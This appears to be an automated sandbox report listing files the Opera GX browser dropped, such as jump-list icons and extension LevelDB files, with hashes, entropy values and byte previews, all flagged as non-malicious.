                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Jump List Icons\0dc47b36-c79f-4525-bda6-9a626a0e4b32.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:MS Windows icon resource - 9 icons, 8x8, 32 bits/pixel, 10x10, 32 bits/pixel
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):28134
                                                                                                                                                                                                              Entropy (8bit):2.9437272977998328
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:A0CAEFB97C1150DD209A532206F732F6
                                                                                                                                                                                                              SHA1:594A34095C9AD12F7361C9ED15292BDEC0F34823
                                                                                                                                                                                                              SHA-256:FB86514DFBF3C5C1DCCCFB952103E2732847C8D32E3417D4DB6855FB2D07F5A8
                                                                                                                                                                                                              SHA-512:808D445BBACF9C3FF268BD50C21C2C301F2EA0CDA2EF7838217BD21FF9C9B890D486D99B9BE55838F2CA261D572622F311017B812C3CF2D124AB1F3ADAB1FAAD
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:............ .H............. ............... .p............. .h............. ............... ......... .... .........((.... .h....-..00.... ..%..>H..(............. .....................................................................................................................................{{..............................yy..................................................... ............................................................................................(............. ........................................................................(...J...c...q...p...j...K...).......G...................................H................**..............................................''......................................%%..............................&&.........................G...................................H.......)...K...j...q...q...j...K...)....................................................................................(............. ...........................

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Jump List Icons\21fef409-5828-402b-ab86-db9ca6ce53c3.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:MS Windows icon resource - 9 icons, 8x8, 32 bits/pixel, 10x10, 32 bits/pixel
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):28134
                                                                                                                                                                                                              Entropy (8bit):5.650850292256418
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:E439DFC7C79DFFB94110D995F1D9907A
                                                                                                                                                                                                              SHA1:8F3071CE6DD5E3CD59282AFFDB7AECF026372E11
                                                                                                                                                                                                              SHA-256:F7654BD59A0ECA449DCE5CE6140898342904778A307F45461436AD5A24EE913E
                                                                                                                                                                                                              SHA-512:DE2CA7715E4390E888C2949B4B971BA8A9C99A6B63532DC60D69D6071796586BB8435E2ED6D22A5FF455AA9F76ED1339709467D58E31E445633FB9216415026F
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:............ .H............. ............... .p............. .h............. ............... ......... .... .........((.... .h....-..00.... ..%..>H..(............. .........................%....@9..OD..ND..OD..RG..;6.%...%..........................%...%...........................&...%...............hW.......'...%.............. 3-......{.%...%......................I?.&...%.......................kW.'...%....G?..UI..MC..I?..I@.!)(.%...................................(............. .........................%..." !.!.*.!+). -+.!-*.!-+.!/,.#. .%...&....}f....................`Q.&...'.....k..........................mY.'...&.....j........................p\.'...'.....k.............KA...h......zc.(...'.....j............#..........va.'...&.....j.............pX.......p." !.$...'.....k........................"...$...&.....h....................!&$.%...$..."%&..61. /+.!,*.!+).!)(."&%.$...$...........................................(............. .........................%.

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Jump List Icons\26d7f7c6-bf0e-4a4f-b0a3-c86bd00391b5.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:MS Windows icon resource - 9 icons, 8x8, 32 bits/pixel, 10x10, 32 bits/pixel
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):28134
                                                                                                                                                                                                              Entropy (8bit):4.494295642105466
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:215273824CF72304BF5944BA076DBC10
                                                                                                                                                                                                              SHA1:478D0E25512DD05E4EC44B05F31FB206F2F9F3A1
                                                                                                                                                                                                              SHA-256:AF0C7A6AC2AA8F264E03A5AE8534B66D4D596DF1AFCDB7F64777A02DE4AD67CE
                                                                                                                                                                                                              SHA-512:53D4984640F3F4B0AD287086EA922A01BD7F1970F80EB515815DA06ACC3A90EF17FAE79AF6509E9E88A26283988A3B20917E974D15D32DC0637AFBA6D8C8A23E
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:............ .H............. ............... .p............. .h............. ............... ......... .... .........((.... .h....-..00.... ..%..>H..(............. ..........................<i..;^I.Gm..Bb..DU..+@..........@c.Bg..Bd.Bc.Bg..Be.A_N.....Dh..Bgw.<^&.<Z..CgE.AeN.Cb.D`Z.Cg..:^9..... `..........A]7.Ab.Cg..=aG.....Ad..?d=.?c..<Z..?c..Ch..?dE.....Ac..=c;.?b..=f..@d..Dg..=a?....f.f..........:]..@b..Ba.Bg.@c..@c..@d..@c..Bf..?d.................................(............. ..................................@c.Fj..F^L.....................@b..@c..Ae..De.Ac..Ac.Ch.D`m......U..Ek..Ac..Dl.?`U.C`..Di.Ae.Df..E`w.....Fk..Ad......................C`5.Cd..C_s.Ej..Ad......33..3f......0`......@a_.@c.Ej..Ad......$[..@d. @..@d..=d..?d=.@c.Ej..Ad......0`..@d.3M..@d.?e5.?bA.@d.Fl..@d......+U..@cg.....>d^.@f..?dE.@c.Dg..@d..3f..7I......3f......$I..@dW.?c.A`..Cg..@c.@d.@d.@c.@d.Ad.Bg.@d.........................................(............. ...........................

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Jump List Icons\31f0cd46-806a-4cf9-933c-6d7e10417369.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:MS Windows icon resource - 9 icons, 8x8, 32 bits/pixel, 10x10, 32 bits/pixel
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):28134
                                                                                                                                                                                                              Entropy (8bit):4.926633840428253
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:2D7DB1A7F884D45DB4B9A44A6EDC3724
                                                                                                                                                                                                              SHA1:FC33C32FAE3901DE2A0CC57305ABDA6841D3D36D
                                                                                                                                                                                                              SHA-256:AAC5B55E8C8FD3284097F0C454B8D287DBD18F6BE4B0F0717BA22ACF3CFDF02C
                                                                                                                                                                                                              SHA-512:AA5A4613C0E234CECA1E3CA1CCB1D563A88396813DDEA3977BE35F9158BE6F3A0BEF255D9F08DC5ABEC9736B8599A9D8F654F32264F3006326E4D34E6B736936
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:............ .H............. ............... .p............. .h............. ............... ......... .... .........((.... .h....-..00.... ..%..>H..(............. ..............................O.-.W...U...U...W...U.-.....Q.,.S...R...L...M...O...Q...Q.,.I..6w..s...C{...........e...P...H..I...........j.......S....F...H..I~..........g........c...N...I..8y..v...J............Z...S...Q.,.S...S...M...Q...S...T...Q.,.....O.-.V...U...T...V...O.-....................................(............. ..................................W.X.W...R...U...X...Q.X.............S.~.Q...S...U...L...L...V...S.~.....O.W.U..+i...\...M..<u..Ax...R...V...N.X.V...N......e....................O...V...T...N..............;q...........P...S...T...N..............7q......e....O...S...V...N......g...............h....J...W...O.W.U../n...^...O..Q...V....]...U...O.W.....S.~.P...R...U...J...J...V...S.~.............W.X.V...S...V...X...Q.X................................................(............. ...........................

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Jump List Icons\371d1265-6b76-4db1-aa7c-5fd294d60e1a.tmp (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:MS Windows icon resource - 9 icons, 8x8, 32 bits/pixel, 10x10, 32 bits/pixel
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):28134
                                                                                                                                                                                                              Entropy (8bit):5.650850292256418
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:E439DFC7C79DFFB94110D995F1D9907A
                                                                                                                                                                                                              SHA1:8F3071CE6DD5E3CD59282AFFDB7AECF026372E11
                                                                                                                                                                                                              SHA-256:F7654BD59A0ECA449DCE5CE6140898342904778A307F45461436AD5A24EE913E
                                                                                                                                                                                                              SHA-512:DE2CA7715E4390E888C2949B4B971BA8A9C99A6B63532DC60D69D6071796586BB8435E2ED6D22A5FF455AA9F76ED1339709467D58E31E445633FB9216415026F
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:............ .H............. ............... .p............. .h............. ............... ......... .... .........((.... .h....-..00.... ..%..>H..(............. .........................%....@9..OD..ND..OD..RG..;6.%...%..........................%...%...........................&...%...............hW.......'...%.............. 3-......{.%...%......................I?.&...%.......................kW.'...%....G?..UI..MC..I?..I@.!)(.%...................................(............. .........................%..." !.!.*.!+). -+.!-*.!-+.!/,.#. .%...&....}f....................`Q.&...'.....k..........................mY.'...&.....j........................p\.'...'.....k.............KA...h......zc.(...'.....j............#..........va.'...&.....j.............pX.......p." !.$...'.....k........................"...$...&.....h....................!&$.%...$..."%&..61. /+.!,*.!+).!)(."&%.$...$...........................................(............. .........................%.

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Jump List Icons\833b4233-6e15-4550-93de-ccbf5bb42b02.tmp (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:MS Windows icon resource - 9 icons, 8x8, 32 bits/pixel, 10x10, 32 bits/pixel
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):28134
                                                                                                                                                                                                              Entropy (8bit):2.9437272977998328
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:A0CAEFB97C1150DD209A532206F732F6
                                                                                                                                                                                                              SHA1:594A34095C9AD12F7361C9ED15292BDEC0F34823
                                                                                                                                                                                                              SHA-256:FB86514DFBF3C5C1DCCCFB952103E2732847C8D32E3417D4DB6855FB2D07F5A8
                                                                                                                                                                                                              SHA-512:808D445BBACF9C3FF268BD50C21C2C301F2EA0CDA2EF7838217BD21FF9C9B890D486D99B9BE55838F2CA261D572622F311017B812C3CF2D124AB1F3ADAB1FAAD
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:............ .H............. ............... .p............. .h............. ............... ......... .... .........((.... .h....-..00.... ..%..>H..(............. .....................................................................................................................................{{..............................yy..................................................... ............................................................................................(............. ........................................................................(...J...c...q...p...j...K...).......G...................................H................**..............................................''......................................%%..............................&&.........................G...................................H.......)...K...j...q...q...j...K...)....................................................................................(............. ...........................

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Jump List Icons\9454d9e6-950c-4926-89f2-e1625ebe1209.tmp (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:MS Windows icon resource - 9 icons, 8x8, 32 bits/pixel, 10x10, 32 bits/pixel
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):28134
                                                                                                                                                                                                              Entropy (8bit):4.850633832596288
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:9B00A5DD96607C7CE9A48A0E253AA5D6
                                                                                                                                                                                                              SHA1:BA0D5FF60D32F7654CFA7998224ADFF46935E9B3
                                                                                                                                                                                                              SHA-256:354F5AB64937037CC28478591677B9CD55C04130525FD858EBFDB874411A60F6
                                                                                                                                                                                                              SHA-512:46AC789EA720A69266DA6DFA4FDF201FD858A95FF6DB67EDBF9A5AB5C10B1175CF1522B06D6E4334410BF0113FD7F048BF00D78D5D111EBB50007245E63074EB
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:............ .H............. ............... .p............. .h............. ............... ......... .... .........((.... .h....-..00.... ..%..>H..(............. .....................................................................................................WMH.................................@AA.....................BBA.ffg.RRQ.BBB.........................>>=.555.................PPP.DDC.+++.ggf.........................................................................(............. ............................_...................................\........r...Y...k...b...]...............................................q...........................JLK.+*).....................WXY.........ffe.........................................................................___.222.............................:::.....}}|.............................AA@.........TTT................j...................................f........................................(............. ...........................

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Jump List Icons\b06cc1e3-48c4-495c-8fb2-1e19aea71157.tmp (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:MS Windows icon resource - 9 icons, 8x8, 32 bits/pixel, 10x10, 32 bits/pixel
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):28134
                                                                                                                                                                                                              Entropy (8bit):4.926633840428253
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:2D7DB1A7F884D45DB4B9A44A6EDC3724
                                                                                                                                                                                                              SHA1:FC33C32FAE3901DE2A0CC57305ABDA6841D3D36D
                                                                                                                                                                                                              SHA-256:AAC5B55E8C8FD3284097F0C454B8D287DBD18F6BE4B0F0717BA22ACF3CFDF02C
                                                                                                                                                                                                              SHA-512:AA5A4613C0E234CECA1E3CA1CCB1D563A88396813DDEA3977BE35F9158BE6F3A0BEF255D9F08DC5ABEC9736B8599A9D8F654F32264F3006326E4D34E6B736936
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:............ .H............. ............... .p............. .h............. ............... ......... .... .........((.... .h....-..00.... ..%..>H..(............. ..............................O.-.W...U...U...W...U.-.....Q.,.S...R...L...M...O...Q...Q.,.I..6w..s...C{...........e...P...H..I...........j.......S....F...H..I~..........g........c...N...I..8y..v...J............Z...S...Q.,.S...S...M...Q...S...T...Q.,.....O.-.V...U...T...V...O.-....................................(............. ..................................W.X.W...R...U...X...Q.X.............S.~.Q...S...U...L...L...V...S.~.....O.W.U..+i...\...M..<u..Ax...R...V...N.X.V...N......e....................O...V...T...N..............;q...........P...S...T...N..............7q......e....O...S...V...N......g...............h....J...W...O.W.U../n...^...O..Q...V....]...U...O.W.....S.~.P...R...U...J...J...V...S.~.............W.X.V...S...V...X...Q.X................................................(............. ...........................

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Jump List Icons\b8790022-0296-48c0-80a7-1c388b45fdee.tmp (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:MS Windows icon resource - 9 icons, 8x8, 32 bits/pixel, 10x10, 32 bits/pixel
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):28134
                                                                                                                                                                                                              Entropy (8bit):5.094253860896943
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:550E01CB403C32932A4A921162F6A76D
                                                                                                                                                                                                              SHA1:742233DD564BCE17B05883ED256A637F5EAAD87E
                                                                                                                                                                                                              SHA-256:1CF990618D717D9FEBE7F274CA61FA0F03D3FF5265FCA7080F51999E3DD38EA9
                                                                                                                                                                                                              SHA-512:ADB56848A5C6EB4FAF685D0C1D5A3DC02E544B9179C588401EC352D36185F43DE3A6202FF9A460B2AD3B1633685683F2F7C5941063C0A56D88BF5D193F11BD00
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:............ .H............. ............... .p............. .h............. ............... ......... .... .........((.... .h....-..00.... ..%..>H..(............. ....................................................................E ."... ....J...........=I;3.QDA.MB=.NA<.PD@.@2,.5)!>0K_..i..&g..$^.. l..#n...c..4Qc.=JZq4Kg..7J./9E.,>R.-7J.6F\.CHQr....=,z.;*\=). .)...7(PF82.).........@......!$xU.${M....$I...................q.. `..............................................(............. ...............................................................................$.!.-f..+e....................X,#.2"".(.!.3'&.0&%.*...0!!.M"......<31n452.^\[.XUS.WUS.VTQ.]]\.RON.121.CC>o:IW..p...c...f...Y...k...r...d...i..=R`.@@K{8Pj.4>N.5<J.1:H.0CY.1=N.5=I.;GY.IBI{.....9..1'`.7)0j0"..0#..7(,y0(^..` ..........<..4N.'....! J...I.....3F.(.N......................(/.L&-.D................................................................................................(............. ...........................

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Jump List Icons\bb35e68f-0852-4fcd-9fb4-bd3c53c556c5.tmp (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:MS Windows icon resource - 9 icons, 8x8, 32 bits/pixel, 10x10, 32 bits/pixel
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):28134
                                                                                                                                                                                                              Entropy (8bit):4.494295642105466
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:215273824CF72304BF5944BA076DBC10
                                                                                                                                                                                                              SHA1:478D0E25512DD05E4EC44B05F31FB206F2F9F3A1
                                                                                                                                                                                                              SHA-256:AF0C7A6AC2AA8F264E03A5AE8534B66D4D596DF1AFCDB7F64777A02DE4AD67CE
                                                                                                                                                                                                              SHA-512:53D4984640F3F4B0AD287086EA922A01BD7F1970F80EB515815DA06ACC3A90EF17FAE79AF6509E9E88A26283988A3B20917E974D15D32DC0637AFBA6D8C8A23E
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:............ .H............. ............... .p............. .h............. ............... ......... .... .........((.... .h....-..00.... ..%..>H..(............. ..........................<i..;^I.Gm..Bb..DU..+@..........@c.Bg..Bd.Bc.Bg..Be.A_N.....Dh..Bgw.<^&.<Z..CgE.AeN.Cb.D`Z.Cg..:^9..... `..........A]7.Ab.Cg..=aG.....Ad..?d=.?c..<Z..?c..Ch..?dE.....Ac..=c;.?b..=f..@d..Dg..=a?....f.f..........:]..@b..Ba.Bg.@c..@c..@d..@c..Bf..?d.................................(............. ..................................@c.Fj..F^L.....................@b..@c..Ae..De.Ac..Ac.Ch.D`m......U..Ek..Ac..Dl.?`U.C`..Di.Ae.Df..E`w.....Fk..Ad......................C`5.Cd..C_s.Ej..Ad......33..3f......0`......@a_.@c.Ej..Ad......$[..@d. @..@d..=d..?d=.@c.Ej..Ad......0`..@d.3M..@d.?e5.?bA.@d.Fl..@d......+U..@cg.....>d^.@f..?dE.@c.Dg..@d..3f..7I......3f......$I..@dW.?c.A`..Cg..@c.@d.@d.@c.@d.Ad.Bg.@d.........................................(............. ...........................

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Jump List Icons\df1c4f16-99d8-4b6a-92b7-5f9ac58dcff0.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:MS Windows icon resource - 9 icons, 8x8, 32 bits/pixel, 10x10, 32 bits/pixel
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):28134
                                                                                                                                                                                                              Entropy (8bit):4.850633832596288
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:9B00A5DD96607C7CE9A48A0E253AA5D6
                                                                                                                                                                                                              SHA1:BA0D5FF60D32F7654CFA7998224ADFF46935E9B3
                                                                                                                                                                                                              SHA-256:354F5AB64937037CC28478591677B9CD55C04130525FD858EBFDB874411A60F6
                                                                                                                                                                                                              SHA-512:46AC789EA720A69266DA6DFA4FDF201FD858A95FF6DB67EDBF9A5AB5C10B1175CF1522B06D6E4334410BF0113FD7F048BF00D78D5D111EBB50007245E63074EB
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:............ .H............. ............... .p............. .h............. ............... ......... .... .........((.... .h....-..00.... ..%..>H..(............. .....................................................................................................WMH.................................@AA.....................BBA.ffg.RRQ.BBB.........................>>=.555.................PPP.DDC.+++.ggf.........................................................................(............. ............................_...................................\........r...Y...k...b...]...............................................q...........................JLK.+*).....................WXY.........ffe.........................................................................___.222.............................:::.....}}|.............................AA@.........TTT................j...................................f........................................(............. ...........................

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Jump List Icons\f8ccc448-dc2d-4ed8-89a3-f34454b7152c.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:MS Windows icon resource - 9 icons, 8x8, 32 bits/pixel, 10x10, 32 bits/pixel
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):28134
                                                                                                                                                                                                              Entropy (8bit):5.094253860896943
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:550E01CB403C32932A4A921162F6A76D
                                                                                                                                                                                                              SHA1:742233DD564BCE17B05883ED256A637F5EAAD87E
                                                                                                                                                                                                              SHA-256:1CF990618D717D9FEBE7F274CA61FA0F03D3FF5265FCA7080F51999E3DD38EA9
                                                                                                                                                                                                              SHA-512:ADB56848A5C6EB4FAF685D0C1D5A3DC02E544B9179C588401EC352D36185F43DE3A6202FF9A460B2AD3B1633685683F2F7C5941063C0A56D88BF5D193F11BD00
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:............ .H............. ............... .p............. .h............. ............... ......... .... .........((.... .h....-..00.... ..%..>H..(............. ....................................................................E ."... ....J...........=I;3.QDA.MB=.NA<.PD@.@2,.5)!>0K_..i..&g..$^.. l..#n...c..4Qc.=JZq4Kg..7J./9E.,>R.-7J.6F\.CHQr....=,z.;*\=). .)...7(PF82.).........@......!$xU.${M....$I...................q.. `..............................................(............. ...............................................................................$.!.-f..+e....................X,#.2"".(.!.3'&.0&%.*...0!!.M"......<31n452.^\[.XUS.WUS.VTQ.]]\.RON.121.CC>o:IW..p...c...f...Y...k...r...d...i..=R`.@@K{8Pj.4>N.5<J.1:H.0CY.1=N.5=I.;GY.IBI{.....9..1'`.7)0j0"..0#..7(,y0(^..` ..........<..4N.'....! J...I.....3F.(.N......................(/.L&-.D................................................................................................(............. ...........................

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Local Extension Settings\ebongfbmlegepmkkdjlnlmdcmckedlal\000001.dbtmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):16
                                                                                                                                                                                                              Entropy (8bit):3.2743974703476995
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:46295CAC801E5D4857D09837238A6394
                                                                                                                                                                                                              SHA1:44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
                                                                                                                                                                                                              SHA-256:0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
                                                                                                                                                                                                              SHA-512:8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:MANIFEST-000001.

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Local Extension Settings\ebongfbmlegepmkkdjlnlmdcmckedlal\CURRENT (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):16
                                                                                                                                                                                                              Entropy (8bit):3.2743974703476995
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:46295CAC801E5D4857D09837238A6394
                                                                                                                                                                                                              SHA1:44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
                                                                                                                                                                                                              SHA-256:0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
                                                                                                                                                                                                              SHA-512:8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:MANIFEST-000001.

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Local Extension Settings\ebongfbmlegepmkkdjlnlmdcmckedlal\LOG

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):373
                                                                                                                                                                                                              Entropy (8bit):5.242711224653601
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:E335C90CD6A154080D8F7057DD8513EB
                                                                                                                                                                                                              SHA1:7923DFFE7D25B76C44402065BC28074075822CB6
                                                                                                                                                                                                              SHA-256:8CB58DB121730EBF681F5047107AC1020DBAF7FE028B8C89D6805F80285B531A
                                                                                                                                                                                                              SHA-512:D3D124EB6CB81CAB0F5360937FA0FEB45488ED6BDCF9344E20A07BDB1847C270CA38D06FE3FD84FBCD8F7EE234D939C14907A915C350960564A3BD63A25D053E
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:2024/10/13-04:34:22.281 187c Creating DB C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Local Extension Settings\ebongfbmlegepmkkdjlnlmdcmckedlal since it was missing..2024/10/13-04:34:22.300 187c Reusing MANIFEST C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Local Extension Settings\ebongfbmlegepmkkdjlnlmdcmckedlal/MANIFEST-000001.

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Local Extension Settings\ebongfbmlegepmkkdjlnlmdcmckedlal\MANIFEST-000001

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:OpenPGP Secret Key
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):41
                                                                                                                                                                                                              Entropy (8bit):4.704993772857998
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5AF87DFD673BA2115E2FCF5CFDB727AB
                                                                                                                                                                                                              SHA1:D5B5BBF396DC291274584EF71F444F420B6056F1
                                                                                                                                                                                                              SHA-256:F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
                                                                                                                                                                                                              SHA-512:DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:.|.."....leveldb.BytewiseComparator......

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Local State (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:JSON data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):3088
                                                                                                                                                                                                              Entropy (8bit):5.5033164473085225
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:140DB708D36C93C72FCF21E08DF71C74
                                                                                                                                                                                                              SHA1:041225279B994402C15356668892032260D81A56
                                                                                                                                                                                                              SHA-256:6B9A928C6303D09E7C1A8E46E29649B5EE433BE3AB23164A6550189D13150D4F
